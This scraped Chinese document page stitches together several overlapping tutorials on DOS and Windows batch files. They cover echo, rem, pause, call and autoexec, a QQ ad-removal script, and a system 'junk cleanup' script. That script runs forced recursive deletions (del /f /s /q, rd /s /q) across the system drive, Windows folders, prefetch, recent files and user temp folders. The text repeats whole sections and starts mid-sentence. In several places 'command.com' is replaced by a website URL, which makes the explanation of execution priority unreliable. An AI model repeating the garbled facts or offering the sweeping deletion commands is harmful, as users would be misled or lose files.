C:\Progra~1\Tencent\AD\*.gif a.bat 为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。 例三,使用批处理脚本查是否中冰河。脚本内容如下: 复制代码代码如下: @echo off

bat基本应用

.bat文件的基本应用 bat是dos下的批处理文件。 首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们 在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具来创建和修改批处理文件。 ==== 注 =================== 批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘 于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批 处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。 ======================== 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行 的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力 与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。 ==== 注 ================== 批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同, 就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译 连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程 序的可执行性,这些称谓的界限是比较模糊的。 =========================== 第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或 者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。 ==== 注 ===== 纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),https://www.wendangku.net/doc/261021751.html,中的内部命令(根据内存的环境随时进驻 内存),以com为扩展名的可执行程序(由https://www.wendangku.net/doc/261021751.html, 直接载入内存),以exe位扩展名的 可执行程序(由https://www.wendangku.net/doc/261021751.html, 重定位后载入内存),以bat位扩展名的批处理程序(由https://www.wendangku.net/doc/261021751.html, 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存) ============ 第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批 处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文

BAT(批处理)文件编写详细手册

BAT(批处理)文件编写详细手册 一、批处理文件简介 首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句 (for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的 DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。 第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch 目录(例如C:/BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:/batch,你就可以在任意位置运行所有你编写的批处理程序。 简单的说,批处理的作用就是自动的连续执行多条命令。 二、批处理中常用命令: 1.echo命令:表示显示此命令后的字符。字符不需要使用引号。其中,%和^两个字 符不能显示。 2.Echo off命令:表示在此语句后所有运行的命令都不显示命令行本身。即关闭echo 回显功能。可以使用echo on打开。 3.@命令:它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能 影响当前行)。 4.call命令:调用另一个批处理文件(如果不用call而直接调用别的批处理文件, 那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 5.pause命令:运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续。如果不想显示以上英文提示信息, 可以这样写:pause>null 6.rem命令:表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考 用的(相当于程序中的注释)。 7.::命令:与rem命令等效。 例1:用edit编辑a.bat文件,输入下列内容后存盘为c:/a.bat,执行该批处理 文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 批处理文件的内容为: 命令注释: @echo off //不显示后续命令行及当前命令行

bat文件的基本应用

bat文件的基本应用 bat是dos下的批处理文件 .cmd是nt内核命令行环境的另一种批处理文件 从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。 =================================== 首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 ==== 注=================== 批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。 ======================== 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。 ==== 注================== 批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。 =========================== 第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后

dos批处理命令小程序

一.简单批处理内部命令简介 先来看一个垃圾清理批处理文件吧 @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" echo 清除系统垃圾完成~ echo. & pause 将上面的内容保存为*.bat就可以运行了,清理系统垃圾 下面是详细讲解 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当 前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)

Windows批处理文件

Windows批处理文件 【一、什么是批处理】 批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat 。 目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。这里要讲的就是DOS批处理。 批处理是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是https://www.wendangku.net/doc/261021751.html,或者CMD.EXE)解释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接编辑或用DOS命令创建,也可以用DOS下的文本编辑器Edit.exe来编辑。在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。一般情况下,每条命令占据一行;当然也可以将多条命令用特定符号(如:&、&&、|、||等)分隔后写入同一行中;还有的情况就是像if、for等较高级的命令则要占据几行甚至几十几百行的空间。系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令,直至程序结尾或遇见exit命令或出错意外退出。 【二、简单批处理命令简介】 【echo 命令】 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一 些命令到特定的文件中。 【rem 命令】 注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读 和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 【pause 命令】 暂停命令。运行Pause 命令时,将显示下面的消息: Press any key to continue. . .(或:请按任意键继续. . .) Sample: @echo off

相关文档
相关文档 最新文档